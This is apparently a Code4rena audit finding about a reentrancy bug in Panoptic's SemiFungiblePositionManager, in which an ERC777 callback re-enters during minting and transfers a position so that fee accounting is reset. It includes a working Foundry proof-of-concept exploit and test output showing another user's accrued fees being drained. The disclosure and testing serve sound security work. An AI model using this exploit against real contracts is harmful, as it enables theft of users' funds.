Panoptic - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L1062

Vulnerability details

Vulnerability details

In the _createLegInAMM() method it does not follow the checks effects interactions pattern. Instead, it first executes the interaction, then writes to s_accountFeesBase[positionKey].

    function _createLegInAMM(
        IUniswapV3Pool _univ3pool,
        uint256 _tokenId,
        uint256 _leg,
        uint256 _liquidityChunk,
        bool _isBurn
    ) internal returns (int256 _moved, int256 _itmAmounts, int256 _totalCollected) {
...

            _moved = isLong == 0
@>              ? _mintLiquidity(_liquidityChunk, _univ3pool)
@>              : _burnLiquidity(_liquidityChunk, _univ3pool); // from msg.sender to Uniswap
            // add the moved liquidity chunk to amount we need to collect from uniswap:

            // Is this _leg ITM?
            // if tokenType is 1, and we transacted some token0: then this leg is ITM!
            if (_tokenType == 1) {
                // extract amount moved out of UniswapV3 pool
                _itmAmounts = _itmAmounts.toRightSlot(_moved.rightSlot());
            }
            // if tokenType is 0, and we transacted some token1: then this leg is ITM
            if (_tokenType == 0) {
                // Add this in-the-money amount transacted.
                _itmAmounts = _itmAmounts.toLeftSlot(_moved.leftSlot());
            }
        }

        // if there was liquidity at that tick before the transaction, collect any accumulated fees
        if (currentLiquidity.rightSlot() > 0) {
            _totalCollected = _collectAndWritePositionData(
                _liquidityChunk,
                _univ3pool,
                currentLiquidity,
                positionKey,
                _moved,
                isLong
            );
        }

        // position has been touched, update s_accountFeesBase with the latest values from the pool.positions
@>      s_accountFeesBase[positionKey] = _getFeesBase(
            _univ3pool,
            updatedLiquidity,
            _liquidityChunk
        );
    }

In this way, if the pool contains ERC777, we can execute the transfer of SemiFungiblePositionManager:ERC1155 in the ERC777 callback when executing _mintLiquidity().

Because afterTokenTransfer -> registerTokenTransfer() is not have lock

    function registerTokenTransfer(address from, address to, uint256 id, uint256 amount) internal {
        // Extract univ3pool from the poolId map to Uniswap Pool
        IUniswapV3Pool univ3pool = s_poolContext[id.validate()].pool;

        uint256 numLegs = id.countLegs();
        for (uint256 leg = 0; leg < numLegs; ) {
...

            // Revert if recipient already has that position
            if (
                (s_accountLiquidity[positionKey_to] != 0) ||
                (s_accountFeesBase[positionKey_to] != 0)
            ) revert Errors.TransferFailed();

            // Revert if not all balance is transferred
            if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed();

            int256 fromBase = s_accountFeesBase[positionKey_from];

            //update+store liquidity and fee values between accounts
            s_accountLiquidity[positionKey_to] = fromLiq;
            s_accountLiquidity[positionKey_from] = 0;

@>          s_accountFeesBase[positionKey_to] = fromBase;
@>          s_accountFeesBase[positionKey_from] = 0;
            unchecked {
                ++leg;
            }
        }
    }

this leads to s_accountLiquidity[to] having liquidity > 0, but s_accountFeesBase[to] == 0. When calculating unclaimed fees, it will result in a lot of extra fees.

The formula for calculating unclaimed fees is:

 int256 amountToCollect = _getFeesBase(univ3pool, startingLiquidity, liquidityChunk).sub(s_accountFeesBase[])

Impact

By re-entering and manipulating s_accountFeesBase[], fees can be stolen.

Proof of Concept

The following code demonstrates the following scenario:

1. Alice has unclaimed fees (feeGrowthInsideLastX128>0 and tokensOwed>0)
2. BOB executes mintTokenizedPosition()
3. Malicious re-entry transfers the just minted erc1155 to Jack
4. This results in s_accountLiquidity[jack].liquidity>0, but s_accountFeesBase[jack]==0
5. Jack executes burnTokenizedPosition(), and because s_accountFeesBase[jack]==0, it results in a lot of extra fees when calculating unclaimed fees.
6. Alice's fees have been stolen, tokensOwed ==0

add to SemiFungiblePositionManager.t.sol

    address Jack = address(0x9999999888);
    uint256 tokenId;
    bool transferToJack = false;
    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);    
    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        if (transferToJack) sfpm.safeTransferFrom(Bob, Jack, tokenId, sfpm.balanceOf(Alice,tokenId), "");
    }  
    function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32){
        return keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
    }  
    function test_ERC777(
        uint256 widthSeed,
        int256 strikeSeed,
        uint256 positionSizeSeed,
        uint256 positionSizeBurnSeed,
        uint256 swapSize
    ) public {
        //0. init
        address[] memory operators  = new address[](1);
        operators[0] = address(this);
        address erc777 =  address(new ERC777("A","A",operators));
        IUniswapV3Pool newPool = IUniswapV3Pool(V3FACTORY.createPool(erc777,WETH,500));
        newPool.initialize(1754965356543639412527026987155860);
        pools[0] = newPool;
        pools[1] = newPool;
        pools[2] = newPool;
        _initPool(1);
        (int24 width, int24 strike) = PositionUtils.getInRangeSW(
            widthSeed,
            strikeSeed,
            uint24(tickSpacing),
            currentTick
        );

        populatePositionData(width, strike, positionSizeSeed);

        tokenId = uint256(0).addUniv3pool(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            1,
            0,
            strike,
            width
        );

        sfpm.mintTokenizedPosition(
            tokenId,
            uint128(positionSize),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        (int128 feesBase0, int128 feesBase1) = sfpm.getAccountFeesBase(
            address(pool),
            Alice,
            1,
            tickLower,
            tickUpper
        );
        {
            (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool
                .positions(PositionKey.compute(address(sfpm), tickLower, tickUpper));
            assertEq(
                feesBase0,
                int128(int256(Math.mulDiv128(feeGrowthInside0LastX128, expectedLiq)))
            );
            assertEq(
                feesBase1,
                int128(int256(Math.mulDiv128(feeGrowthInside1LastX128, expectedLiq)))
            );
        }

        {
            (uint128 premiumToken0, uint128 premiumtoken1) = sfpm.getAccountPremium(
                address(pool),
                Alice,
                1,
                tickLower,
                tickUpper,
                currentTick,
                0
            );
            assertEq(premiumToken0, 0);
            assertEq(premiumtoken1, 0);
        }

        //0.1 anyone execute swap , then incur fee
        changePrank(Bob);
        swapSize = bound(swapSize, 10 ** 15, 10 ** 19);
        router.exactInputSingle(
            ISwapRouter.ExactInputSingleParams(
                isWETH == 0 ? token0 : token1,
                isWETH == 1 ? token0 : token1,
                fee,
                Bob,
                block.timestamp,
                swapSize,
                0,
                0
            )
        );
        router.exactOutputSingle(
            ISwapRouter.ExactOutputSingleParams(
                isWETH == 1 ? token0 : token1,
                isWETH == 0 ? token0 : token1,
                fee,
                Bob,
                block.timestamp,
                swapSize - (swapSize * fee) / 1_000_000,
                type(uint256).max,
                0
            )
        );

        (, currentTick, , , , , ) = pool.slot0();
        changePrank(address(sfpm));
        pool.burn(tickLower, tickUpper, 0);

        //0.2 show current fee (tokensOwed0/tokensOwed1 > 0)
        (uint256 liquidity_now, uint256 feeGrowthInside0LastX128_now, uint256 feeGrowthInside1LastX128_now, uint256 tokensOwed0_now ,uint256 tokensOwed1_now) = pool
        .positions(PositionKey.compute(address(sfpm), tickLower, tickUpper));
        console.log("before liquidity:",liquidity_now);
        console.log("before feeGrowthInside0LastX128:",feeGrowthInside0LastX128_now);
        console.log("before feeGrowthInside1LastX128:",feeGrowthInside1LastX128_now);
        console.log("before tokensOwed0:",tokensOwed0_now);
        console.log("before tokensOwed1:",tokensOwed1_now);
        //end of init

        //1. bob mint then reenter then transfer to jack
        transferToJack = true;
        changePrank(Bob);
        sfpm.setApprovalForAll(address(this),true);
        _ERC1820_REGISTRY.setInterfaceImplementer(Bob, keccak256("ERC777TokensSender"), address(this));        
        sfpm.mintTokenizedPosition(
            tokenId,
            uint128(positionSize),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );
        //2. jack burn  then steal alice's fee
        changePrank(transferToJack?Jack:Bob);
        sfpm.burnTokenizedPosition(
            tokenId,
            uint128(positionSize),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );
        //3. show after fees (tokensOwed0/tokensOwed0 == 0)
        (liquidity_now, feeGrowthInside0LastX128_now, feeGrowthInside1LastX128_now, tokensOwed0_now ,tokensOwed1_now) = pool
        .positions(PositionKey.compute(address(sfpm), tickLower, tickUpper));
        console.log("after liquidity:",liquidity_now);
        console.log("after feeGrowthInside0LastX128:",feeGrowthInside0LastX128_now);
        console.log("after feeGrowthInside1LastX128:",feeGrowthInside1LastX128_now);
        console.log("after tokensOwed0:",tokensOwed0_now);
        console.log("after tokensOwed1:",tokensOwed1_now);
}

$ forge test -vv --match-test test_ERC777

  before liquidity: 4099323356832415800
  before feeGrowthInside0LastX128: 526301419219671932670248053
  before feeGrowthInside1LastX128: 258251102445166164241005969408096645
  before tokensOwed0: 6340262
  before tokensOwed1: 3111106772180056
  after liquidity: 4099323356832415800
  after feeGrowthInside0LastX128: 526301419219671932670248053
  after feeGrowthInside1LastX128: 258251102445166164241005969408096645
  after tokensOwed0: 0
  after tokensOwed1: 0

Recommended Mitigation

afterTokenTransfer() add lock

Assessed type

Reentrancy